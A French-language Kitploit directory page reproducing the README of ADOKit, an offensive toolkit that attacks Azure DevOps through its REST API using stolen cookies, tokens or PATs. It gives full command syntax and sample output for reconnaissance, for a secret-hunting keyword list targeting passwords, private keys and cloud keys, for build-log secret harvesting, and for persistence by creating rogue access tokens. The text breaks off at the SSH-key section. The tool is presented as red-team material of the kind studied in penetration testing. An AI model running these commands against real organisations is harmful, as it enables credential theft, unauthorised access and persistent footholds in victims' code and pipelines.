Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
ADOKit — Kit d'attaque modulaire exploitant l'API REST d'Azure DevOps pour la reconnaissance, l'élévation de privilèges et la persistance à l'aide de cookies ou de PAT volés. | Kitploit
Outils/GitHubGitHub/h4wkst3r/adokit
Escalade de PrivilègesReconnaissanceMécanismes de PersistanceTests d'IntrusionSécurité CloudRed Teaming
GitHubh4wkst3r/adokit

ADOKit

Kit d'attaque modulaire exploitant l'API REST d'Azure DevOps pour la reconnaissance, l'élévation de privilèges et la persistance à l'aide de cookies ou de PAT volés.

Voir le dépôt
15564il y a 24 joursVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

ADOKit

Description

Azure DevOps Services Attack Toolkit - ADOKit est une boîte à outils permettant d'attaquer Azure DevOps Services en exploitant l'API REST disponible. L'outil permet à l'utilisateur de spécifier un module d'attaque, ainsi que des identifiants valides (clé API ou cookie d'authentification volé) pour l'instance Azure DevOps Services concernée. Les modules d'attaque pris en charge incluent la reconnaissance, l'élévation de privilèges et la persistance. ADOKit a été conçu de manière modulaire, afin que de nouveaux modules puissent être ajoutés à l'avenir par la communauté de la sécurité de l'information.

Les détails complets sur les techniques utilisées par ADOKit se trouvent dans le livre blanc de X-Force Red.

Black Hat USA Arsenal 2024

Les diapositives de présentation et les démos sont incluses dans le dossier BHUSA Arsenal 2024 de ce dépôt.

Version

  • La version 1.4.1 d'ADOKit se trouve dans les Releases

Table des matières

  • ADOKit
  • Table des matières
  • Installation/Compilation
    • Bibliothèques utilisées
    • Pré-compilé
    • Compiler soi-même
  • Modules de commandes
  • Arguments/Options
  • Options d'authentification
  • Tableau des détails des modules
  • Exemples
    • Reconnaissance
      • Valider l'accès Azure DevOps
      • Whoami
      • Lister les organisations
      • Lister les dépôts
      • Rechercher des dépôts
      • Lister les projets
      • Rechercher des projets
      • Rechercher du code
      • Rechercher des fichiers
      • Lister les utilisateurs
      • Rechercher un utilisateur
      • Lister les équipes
      • Rechercher une équipe
      • Obtenir les membres d'une équipe
      • Lister les groupes
      • Rechercher des groupes
      • Obtenir les membres d'un groupe
      • Obtenir les autorisations d'un projet
      • Recherche d'identifiants
      • Obtenir les journaux de build
      • Lister les journaux de build
      • Rechercher dans les journaux de build
    • Persistance
      • Créer un PAT
      • Lister les PAT
      • Supprimer un PAT
      • Créer une clé SSH
      • Lister les clés SSH
      • Supprimer une clé SSH
    • Élévation de privilèges
      • Ajouter un administrateur de projet
      • Supprimer un administrateur de projet
      • Ajouter un administrateur de build
      • Supprimer un administrateur de build
  • Détection
  • Feuille de route
  • Références

Installation/Compilation

Bibliothèques utilisées

Les bibliothèques tierces suivantes sont utilisées dans ce projet.

BibliothèqueURLLicence
Fodyhttps://github.com/Fody/FodyLicence MIT
Newtonsoft.Jsonhttps://github.com/JamesNK/Newtonsoft.JsonLicence MIT

Pré-compilé

  • Utilisez le binaire pré-compilé dans les Releases

Compiler soi-même

Suivez les étapes ci-dessous pour configurer Visual Studio afin de compiler vous-même le projet. Cela nécessite deux bibliothèques .NET qui peuvent être installées depuis le gestionnaire de paquets NuGet.

  • Chargez le projet Visual Studio et allez dans "Tools" --> "NuGet Package Manager" --> "Package Manager Settings"
  • Allez dans "NuGet Package Manager" --> "Package Sources"
  • Ajoutez une source de paquets avec l'URL https://api.nuget.org/v3/index.json
  • Installez le paquet NuGet Costura.Fody.
    • Install-Package Costura.Fody -Version 3.3.3
  • Installez le paquet Newtonsoft.Json
    • Install-Package Newtonsoft.Json
  • Vous pouvez maintenant compiler le projet vous-même !

Modules de commandes

  • Reconnaissance
    • check - Vérifie si l'organisation utilise Azure DevOps et si les identifiants sont valides
    • whoami - Liste l'utilisateur actuel et ses appartenances aux groupes
    • listorgs - Liste les organisations accessibles ou toutes les organisations dans Azure DevOps
    • listrepo - Liste tous les dépôts
    • searchrepo - Recherche un dépôt donné
    • listproject - Liste tous les projets
    • searchproject - Recherche un projet donné
    • searchcode - Recherche du code contenant un terme de recherche
    • searchfile - Recherche un fichier basé sur un terme de recherche
    • listuser - Liste les utilisateurs
    • searchuser - Recherche un utilisateur donné
    • listteam - Liste les équipes
    • searchteam - Recherche une équipe donnée
    • getteammembers - Obtient les membres d'une équipe donnée
    • listgroup - Liste les groupes
    • searchgroup - Recherche un groupe donné
    • getgroupmembers - Liste tous les membres d'un groupe donné
    • getpermissions - Obtient les autorisations de ceux qui ont accès à un projet donné
    • creds - Recherche des identifiants dans le code (mots-clés listés ci-dessous)
      • "pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password"
    • getbuildlogs - Télécharge les journaux de build pour un ou tous les projets
    • listbuildlogs - Liste les journaux de build pour un ou tous les projets
    • searchbuildlogs - Recherche dans les journaux de build pour un terme de recherche donné
  • Persistance

Arguments/Options

  • /credential: - identifiants pour l'authentification (PAT ou Cookie). Applicable à tous les modules.
  • /url: - URL Azure DevOps. Applicable à tous les modules.
  • /search: - Mot-clé à rechercher. Pas applicable à tous les modules.
  • /project: - Projet pour lequel effectuer une action. Pas applicable à tous les modules.
  • /user: - Effectuer une action contre un utilisateur spécifique. Pas applicable à tous les modules.
  • /id: - Utilisé avec les modules de persistance pour effectuer une action contre un ID de jeton spécifique. Pas applicable à tous les modules.
  • /group: - Effectuer une action contre un groupe spécifique. Pas applicable à tous les modules.

Options d'authentification

Voici les options d'authentification dont vous disposez avec ADOKit lors de l'authentification à une instance Azure DevOps.

  • Cookie volé - UserAuthentication - Ce sera le cookie UserAuthentication sur la machine d'un utilisateur pour le domaine .dev.azure.com.
    • /credential:UserAuthentication=ABC123
  • Cookie volé - AadAuthentication - Ce sera le cookie AadAuthentication sur la machine d'un utilisateur pour le domaine .dev.azure.com.
    • /credential:eyJ0...
  • Jeton d'accès personnel (PAT) - Ce sera un jeton d'accès/clé API qui sera une simple chaîne.
    • /credential:apiToken
  • Jeton d'accès volé - Si vous pouvez voler ou rafraîchir un jeton d'accès approprié, vous pouvez également l'utiliser. Lors de l'utilisation d'un jeton d'accès, il doit être valide pour la ressource Azure Resource Manager (ARM) - "aud":"https://management.core.windows.net/" ou Azure Devops - "aud":"499b84ac-1321-427f-aa17-267ca6975798"
    • /credential:eyJ0..

Tableau des détails des modules

Le tableau ci-dessous montre les autorisations requises pour chaque module.

Exemples

Valider l'accès Azure DevOps

Cas d'utilisation

Effectue une vérification d'authentification pour s'assurer que l'organisation utilise Azure DevOps et que les identifiants fournis sont valides.

Syntaxe

Fournissez le module check, ainsi que les informations d'authentification pertinentes et l'URL. Cela indiquera si l'organisation fournie utilise Azure DevOps, et si c'est le cas, tentera de valider les identifiants fournis.

ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe check /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

Exemple de sortie```

C:>ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/YourOrganization

================================================== Module: check Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/28/2023 3:33:01 PM

[*] INFO: Checking if organization provided uses Azure DevOps

[+] SUCCESS: Organization provided exists in Azure DevOps

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

3/28/23 19:33:02 Finished execution of check

root@kitploit:~
### Whoami

#### Cas d'utilisation

> *Obtenir l'utilisateur actuel et ses appartenances aux groupes*

#### Syntaxe

Fournissez le module `whoami`, ainsi que toutes les informations d'authentification pertinentes et l'URL. Cela affichera l'utilisateur actuel et toutes ses appartenances aux groupes.

`ADOKit.exe whoami /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Exemple de sortie```
C:\>ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization

==================================================
Module:         whoami
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 11:33:12 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                          Username |                                       Display Name |                                                UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
                                          jsmith |                                        John Smith |          [email protected]


[*] INFO: Listing group memberships for the current user


                                                             Group UPN |                                       Display Name |                                        Description
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    [YourOrganization]\Project Collection Test Service Accounts |           Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection.
                                           [TestProject2]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
                                           [MaraudersMap]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
           [YourOrganization]\Project Collection Administrators |                  Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.

4/4/23 15:33:19 Finished execution of whoami

Lister les organisations

Cas d'utilisation

Récupérer les organisations à l'aide d'un jeton d'accès donné.

Syntaxe

Fournissez au module listorgs les informations d'authentification requises. Par défaut, cette commande liste uniquement les organisations accessibles avec le jeton d'accès fourni.

  • Utilisez /mode:aad pour énumérer toutes les organisations DevOps dans le locataire Azure AD, indépendamment de l'accès direct.
  • Utilisez /endpoint:ENDPOINT_NAME pour spécifier un point d'extrémité AEX personnalisé.
    • Des points d'extrémité supplémentaires peuvent être identifiés en inspectant le cookie "X-VSS-DeploymentAffinity" depuis aex.dev.azure.com.

ADOKit.exe listorgs /credential:"eyj0..." [/mode:aad] [/endpoint:ENDPOINT_NAME]

ADOKit.exe listorgs /credential:"eyj0..." /mode:aad /endpoint:aexprodeus21

Exemple de sortie```

C:>ADOKit.exe listorgs /credential:"eyj0..."

================================================== Module: listorgs Auth Type: Azure Access Token Target URL: https://app.vssps.visualstudio.com

Timestamp: 3/14/2025 2:26:45 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                     Organization ID |                        Organization Name

root@kitploit:~
390a7474-e2f2-4b98-b538-4a547fa9f5e3 |                             solar-devops
b63b999f-43f2-48c5-998d-b31cbf4c2f8e |                             lunar-devops
root@kitploit:~
### Lister les dépôts

#### Cas d'utilisation

> *Découvrir les dépôts utilisés dans une instance Azure DevOps*

#### Syntaxe

Fournissez le module `listrepo`, ainsi que toute information d'authentification pertinente et l'URL. Cela affichera le nom du dépôt et l'URL.

`ADOKit.exe listrepo /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Exemple de sortie```
C:\>ADOKit.exe listrepo /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listrepo
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/29/2023 8:41:50 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                          Name |                                                URL
-----------------------------------------------------------------------------------
                  TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
                  MaraudersMap | https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap
                 SomeOtherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/SomeOtherRepo
                   AnotherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo
      ProjectWithMultipleRepos | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/ProjectWithMultipleRepos
                   TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject

3/29/23 12:41:53 Finished execution of listrepo

Rechercher des Dépôts

Cas d'Utilisation

Rechercher des dépôts par nom de dépôt dans une instance Azure DevOps

Syntaxe

Fournissez le module searchrepo et vos critères de recherche dans l'argument de ligne de commande /search:, ainsi que les informations d'authentification et l'URL pertinentes. Cela affichera le nom et l'URL du dépôt correspondant.

ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred

ADOKit.exe searchrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred

Exemple de Sortie```

C:>ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"test"

================================================== Module: searchrepo Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/29/2023 9:26:57 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                      Name |                                                URL

root@kitploit:~
              TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
               TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject

3/29/23 13:26:59 Finished execution of searchrepo

root@kitploit:~
### Liste des Projets

#### Cas d'utilisation

> *Découvrir les projets utilisés dans une instance Azure DevOps*

#### Syntaxe

Fournissez le module `listproject`, ainsi que les informations d'authentification et l'URL pertinentes. Cela affichera le nom du projet, la visibilité (public ou privé) et l'URL.

`ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Exemple de sortie```
C:\>ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listproject
Auth Type:      API Key
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 7:44:59 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                          Name |      Visibility |                                                URL
-----------------------------------------------------------------------------------------------------
                  TestProject2 |         private | https://dev.azure.com/YourOrganization/TestProject2
                  MaraudersMap |         private | https://dev.azure.com/YourOrganization/MaraudersMap
      ProjectWithMultipleRepos |         private | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos
                   TestProject |         private | https://dev.azure.com/YourOrganization/TestProject

4/4/23 11:45:04 Finished execution of listproject

Rechercher des projets

Cas d'utilisation

Rechercher des projets par nom de projet dans une instance Azure DevOps

Syntaxe

Fournissez le module searchproject et vos critères de recherche dans l'argument de ligne de commande /search:, ainsi que les informations d'authentification et l'URL pertinentes. Cela affichera le nom du projet correspondant, sa visibilité (public ou privé) et l'URL.

ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred

ADOKit.exe searchproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred

Exemple de sortie```

C:>ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"map"

================================================== Module: searchproject Auth Type: API Key Search Term: map Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 7:45:30 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                      Name |      Visibility |                                                URL

root@kitploit:~
              MaraudersMap |         private | https://dev.azure.com/YourOrganization/MaraudersMap

4/4/23 11:45:31 Finished execution of searchproject

root@kitploit:~
### Rechercher du code

#### Cas d'utilisation

> *Rechercher du code contenant un mot-clé donné dans une instance Azure DevOps*

#### Syntaxe

Fournissez le module `searchcode` et vos critères de recherche dans l'argument de ligne de commande `/search:`, ainsi que les informations d'authentification pertinentes et l'URL. Cela affichera l'URL du fichier de code correspondant, ainsi que la ligne dans le code qui a correspondu.

`ADOKit.exe searchcode /credential:apiKey /url:https://dev.azure.com/organizationName /search:password`

`ADOKit.exe searchcode /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:password`

#### Exemple de sortie```
C:\>ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"password"

==================================================
Module:         searchcode
Auth Type:      Cookie
Search Term:    password
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/29/2023 3:22:21 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
    |_ Console.WriteLine("PassWord");
    |_ this is some text that has a password in it

[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
    |_ Console.WriteLine("PaSsWoRd");

[*] Match count : 3

3/29/23 19:22:22 Finished execution of searchcode

Rechercher des fichiers

Cas d'utilisation

Rechercher des fichiers dans les dépôts contenant un mot-clé donné dans le nom du fichier dans Azure DevOps

Syntaxe

Fournissez le module searchfile et vos critères de recherche dans l'argument de ligne de commande /search:, ainsi que toute information d'authentification et URL pertinente. Cela affichera l'URL du fichier correspondant dans son dépôt respectif.

ADOKit.exe searchfile /credential:apiKey /url:https://dev.azure.com/organizationName /search:azure-pipeline

ADOKit.exe searchfile /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:azure-pipeline

Exemple de sortie```

C:>ADOKit.exe searchfile /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"test"

================================================== Module: searchfile Auth Type: Cookie Search Term: test Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/29/2023 11:28:34 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                                                                        File URL

https://dev.azure.com/YourOrganization/MaraudersMap/_git/4f159a8e-5425-4cb5-8d98-31e8ac86c4fa?path=/Test.cs https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/c1ba578c-1ce1-46ab-8827-f245f54934e9?path=/Test.cs https://dev.azure.com/YourOrganization/TestProject/_git/fbcf0d6d-3973-4565-b641-3b1b897cfa86?path=/test.cs

3/29/23 15:28:37 Finished execution of searchfile

root@kitploit:~
### Recherche de Creds

#### Cas d'utilisation

> *Rechercher du code contenant des secrets tels que des mots de passe ou des clés API dans Azure DevOps*

#### Syntaxe

Fournissez le module `creds`, ainsi que les informations d'authentification et l'URL pertinentes. Cela affichera l'URL du fichier correspondant dans son dépôt respectif, et la ou les lignes correspondantes où les credentials sont présents.

`ADOKit.exe creds /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe creds /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Exemple de sortie```
C:\>ADOKit.exe creds /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         creds
Auth Type:      Cookie
Search Term:    pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/30/2023 10:17:49 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
    |_ Console.WriteLine("PassWord");
    |_ this is some text that has a password in it

[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
    |_ API_KEY=ABC123

[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
    |_ Console.WriteLine("PaSsWoRd");

[>] URL: https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo?path=/config.yaml
    |_ Password: ItIsSuperSecret!

[*] Match count : 5

3/30/23 14:17:54 Finished execution of creds

Obtenir les journaux de build

Cas d'utilisation

Téléchargez les journaux de toutes les exécutions de pipeline (journaux de build). Vous pouvez ensuite rechercher hors ligne des informations et/ou des secrets.

Syntaxe

Fournissez le module getbuildlogs avec un /project: pour un projet donné afin de télécharger tous les journaux de build de ce projet. Si vous souhaitez les télécharger pour tous les projets, spécifiez all dans l'argument /project:. Cela créera un dossier ADOKit-[8 caractères aléatoires] dans votre répertoire de travail actuel pour y télécharger les journaux.

ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"

ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"

Exemple de sortie```

C:>ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2

================================================== Module: getbuildlogs Auth Type: API Key Project: TestProject2 Target URL: https://dev.azure.com/YourOrganization

Timestamp: 5/31/2024 8:15:27 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Downloading build logs to: C:\path\ADOKit-MWPsicSZ

[+] SUCCESS: Build log files downloaded to: C:\path\ADOKit-MWPsicSZ

root@kitploit:~
### Lister les Journaux de Construction

#### Cas d'Utilisation

> *Liste les journaux de construction disponibles pour un projet donné ou pour tous les projets.*

#### Syntaxe

Fournissez le module `listbuildlogs` avec un `/project:` pour un projet donné afin de lister tous les journaux de construction de ce projet. Si vous souhaitez les lister pour tous les projets, spécifiez `all` dans l'argument `/project:`.

`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`

`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"`

#### Exemple de Sortie```
C:\>ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2

==================================================
Module:         listbuildlogs
Auth Type:      API Key
Project:        TestProject2
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      5/31/2024 8:14:57 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

  Build ID |                     Build Name |   Num Logs |                                                URL
-------------------------------------------------------------------------------------------------------------
        94 |                   TestProject2 |         10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/94
        92 |                   TestProject2 |         10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/92
        64 |                   TestProject2 |         10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/64

Rechercher dans les journaux de build

Cas d'utilisation

Rechercher dans les journaux de build contenant un mot-clé donné dans une instance Azure DevOps

Syntaxe

Fournissez le module searchbuildlogs et vos critères de recherche dans l'argument de ligne de commande /search:, ainsi qu'un /project: pour un projet donné afin de rechercher dans tous les journaux de build de ce projet. Si vous souhaitez rechercher dans les journaux de build de tous les projets, spécifiez all dans l'argument /project:. Cela produira l'URL du fichier journal de sortie de build correspondant, ainsi que la ligne du journal de build qui a correspondu.

ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"

ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all" /search:"password"

ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"

ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all" /search:"password"

Exemple de sortie```

C:>ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:MaraudersMap /search:"password"

================================================== Module: searchbuildlogs Auth Type: API Key Search Term: password Project: MaraudersMap Target URL: https://dev.azure.com/YourOrganization

Timestamp: 5/31/2024 9:06:20 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Searching build logs

[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/1 [>] Project: MaraudersMap |_ python blah.py $(secret-password-here)

[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/7 [>] Project: MaraudersMap |_ 2023-04-21T14:36:48.8967630Z Downloading secret value for: secret-password-here.

[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/8 [>] Project: MaraudersMap |_ 2023-04-21T14:36:50.1585893Z Password1

-----------SNIP-----------

[*] Match count : 9

root@kitploit:~
### Créer un PAT

#### Cas d'utilisation

> *Créer un jeton d'accès personnel (PAT) pour un utilisateur pouvant être utilisé pour la persistance sur une instance Azure DevOps.*

#### Syntaxe

Fournissez le module `createpat`, ainsi que les informations d'authentification et l'URL pertinentes. Cela affichera l'ID du PAT, le nom, la portée, la date de validité jusqu'à, et le contenu du jeton pour le PAT créé. Le nom du PAT créé sera `ADOKit-` suivi d'une chaîne aléatoire de 8 caractères. La date de validité du PAT sera d'un an à compter de sa création, car c'est le maximum autorisé par Azure DevOps.

`ADOKit.exe createpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Exemple de sortie```
C:\>ADOKit.exe createpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         createpat
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/31/2023 2:33:09 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                  PAT ID |                           Name |                          Scope |                    Valid Until |                                        Token Value
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    8776252f-9e03-48ea-a85c-f880cc830898 |                       ADOKit-rJxzpZwZ |                      app_token |          3/31/2024 12:00:00 AM | tokenValueWouldBeHere

3/31/23 18:33:10 Finished execution of createpat

Lister les PATs

Cas d'utilisation

Lister tous les jetons d'accès personnel (PAT) pour un utilisateur donné dans une instance Azure DevOps.

Syntaxe

Fournissez le module listpat, ainsi que toute information d'authentification pertinente et l'URL. Cela affichera l'ID PAT, le nom, la portée et la date de validité pour tous les PAT actifs de l'utilisateur.

ADOKit.exe listpat /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe listpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

Exemple de sortie```

C:>ADOKit.exe listpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

================================================== Module: listpat Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/31/2023 2:33:17 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                              PAT ID |                           Name |                          Scope |                    Valid Until

root@kitploit:~
9b354668-4424-4505-a35f-d0989034da18 |                     test-token |                      app_token |           4/29/2023 1:20:45 PM
8776252f-9e03-48ea-a85c-f880cc830898 |                       ADOKit-rJxzpZwZ |                      app_token |          3/31/2024 12:00:00 AM

3/31/23 18:33:18 Finished execution of listpat

root@kitploit:~
### Supprimer un PAT

#### Cas d'utilisation

> *Supprimer un PAT pour un utilisateur donné dans une instance Azure DevOps.*

#### Syntaxe

Fournissez le module `removepat`, ainsi que les informations d'authentification pertinentes et l'URL. De plus, fournissez l'ID du PAT dans l'argument `/id:`. Cela indiquera si le PAT a été supprimé ou non, puis listera les PAT actifs actuels de l'utilisateur après la suppression.

`ADOKit.exe removepat /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...`

`ADOKit.exe removepat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...`

#### Exemple de sortie```
C:\>ADOKit.exe removepat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:0b20ac58-fc65-4b66-91fe-4ff909df7298

==================================================
Module:         removepat
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/3/2023 11:04:59 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[+] SUCCESS: PAT with ID 0b20ac58-fc65-4b66-91fe-4ff909df7298 was removed successfully.

                                  PAT ID |                           Name |                          Scope |                    Valid Until
-------------------------------------------------------------------------------------------------------------------------------------------
    9b354668-4424-4505-a35f-d0989034da18 |                     test-token |                      app_token |           4/29/2023 1:20:45 PM

4/3/23 15:05:00 Finished execution of removepat

Créer une clé SSH

Cas d'utilisation

Créer une clé SSH pour un utilisateur qui peut être utilisée pour la persistance sur une instance Azure DevOps.

Syntaxe

